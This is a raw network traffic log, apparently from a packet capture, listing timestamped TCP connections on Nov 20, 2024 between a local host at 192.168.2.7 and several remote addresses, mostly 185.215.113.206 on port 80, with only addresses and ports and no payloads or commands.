Nov 20, 2024 23:12:58.640623093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.640902042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.640953064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.640963078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.641011000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.641758919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.641808987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.641860962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.641907930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.642625093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.642702103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.642716885 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.642762899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.643441916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.643500090 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.643575907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.643626928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.644290924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.644336939 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.644386053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.644431114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.645132065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.645209074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.645359039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.645972967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.646053076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.646131992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.646202087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.646847963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.646930933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.646996021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.647680998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.647758961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.647802114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.647938013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.648521900 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.648571014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.648865938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.649044991 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.649403095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.649456978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.649549007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.649595022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.650213003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.650263071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.650314093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.650573969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.679009914 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.679120064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.679191113 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.679375887 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.679501057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.679682016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.679745913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.679805994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.679873943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.680363894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.680443048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.680480003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.680629015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.681229115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.681278944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.681325912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.681374073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.682091951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.682177067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.682184935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.682317972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.682919025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.683033943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.683054924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.683151960 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.683777094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.683826923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.683873892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.684124947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.684614897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.684703112 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.684721947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.684766054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.685488939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.685596943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.685646057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.685756922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.686326027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.686377048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.686469078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.686517000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.687180996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.687264919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.687290907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.687325954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.706711054 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.707669973 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.707736969 CET	49895	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.708123922 CET	49895	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.708159924 CET	443	49895	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.716886997 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.716922998 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.716995001 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.717288971 CET	49908	443	192.168.2.7	23.96.180.189
Nov 20, 2024 23:12:58.717299938 CET	443	49908	23.96.180.189	192.168.2.7
Nov 20, 2024 23:12:58.767715931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.767786980 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.767831087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.767883062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.768146992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.768271923 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.768328905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.768984079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.769074917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.769119978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.769191980 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.769881010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.769934893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.769987106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.770070076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.770709038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.770787001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.770797014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.770955086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.771547079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.771653891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.771878004 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.772397041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.772511005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.772526026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.772558928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.773247957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.773333073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.773381948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.774163008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.774224997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.774307013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.774352074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.774992943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.775105000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.775151968 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.775901079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.776078939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.776130915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.795480967 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.795753002 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.795778036 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.795830011 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.795840979 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.795856953 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.796072006 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.796242952 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.796298027 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.797616959 CET	49900	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.797631025 CET	443	49900	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.798686981 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.798707962 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.798764944 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.798763037 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.798998117 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.799328089 CET	49901	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.799333096 CET	443	49901	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.804157019 CET	49897	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.804183006 CET	443	49897	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.805659056 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.805686951 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.805726051 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.805747032 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.805747986 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.805799961 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.806885004 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.806907892 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.806967974 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.806977987 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.807157993 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.808109045 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.808182955 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.808231115 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.812273026 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.812432051 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.812576056 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.814589977 CET	49892	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:12:58.814604998 CET	443	49892	20.189.173.11	192.168.2.7
Nov 20, 2024 23:12:58.817259073 CET	49899	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.817297935 CET	443	49899	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.819154024 CET	49902	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.819175005 CET	443	49902	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.864098072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:58.866962910 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.866992950 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.867001057 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.867013931 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.867046118 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.867062092 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.867089033 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.867104053 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.867104053 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.867213011 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.875195980 CET	443	49896	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.877526045 CET	443	49896	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.877604961 CET	49896	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.893345118 CET	49896	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.893359900 CET	443	49896	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.893369913 CET	49896	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.893376112 CET	443	49896	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.896035910 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.896086931 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.896368980 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.896733046 CET	49910	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:58.896761894 CET	443	49910	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:58.917232037 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.917287111 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.917617083 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.917643070 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.918442965 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.918483019 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:58.918549061 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:58.976612091 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.976640940 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.976707935 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.976735115 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.976751089 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.976778984 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:58.983524084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:58.984653950 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:58.984709024 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.063493013 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.063519955 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.063602924 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.063632011 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.063710928 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.149534941 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.149559975 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.149643898 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.149677038 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.149888992 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.165945053 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.166035891 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.190598965 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.190655947 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.190675020 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.190690041 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.190728903 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.191087008 CET	49898	443	192.168.2.7	104.117.182.41
Nov 20, 2024 23:12:59.191111088 CET	443	49898	104.117.182.41	192.168.2.7
Nov 20, 2024 23:12:59.319647074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.319700956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.319720030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.319758892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.319830894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.319911957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.319945097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.319982052 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.320679903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.320725918 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.320749044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.320804119 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.321507931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.321578979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.321626902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.322349072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.322402000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.322460890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.322504044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.323219061 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.323271990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.323388100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.323518038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.324126005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.324174881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.324273109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.324340105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.325016975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.325120926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.325170040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.325735092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.325850964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.325894117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.326620102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.326668024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.326697111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.326759100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.327428102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.327477932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.327487946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.327563047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.328339100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.328387022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.328399897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.328433037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.329123020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.329184055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.329250097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.329988956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.330070019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.330100060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.330112934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.330828905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.330959082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.330967903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.331022024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.331677914 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.331736088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.331770897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.331947088 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.332525969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.332655907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.332722902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.333415031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.333471060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.333662033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.333873987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.334278107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.334341049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.334503889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.334546089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.335093021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.335136890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.335149050 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.335199118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.335948944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.336002111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.336149931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.336215973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.336782932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.336827993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.336914062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.337080956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.337646961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.337696075 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.337775946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.338103056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.338582039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.338634014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.338782072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.338855028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.339318991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.339371920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.339469910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.339557886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:59.340208054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.340233088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:59.340280056 CET	49799	80	192.168.2.7	185.215.113.206
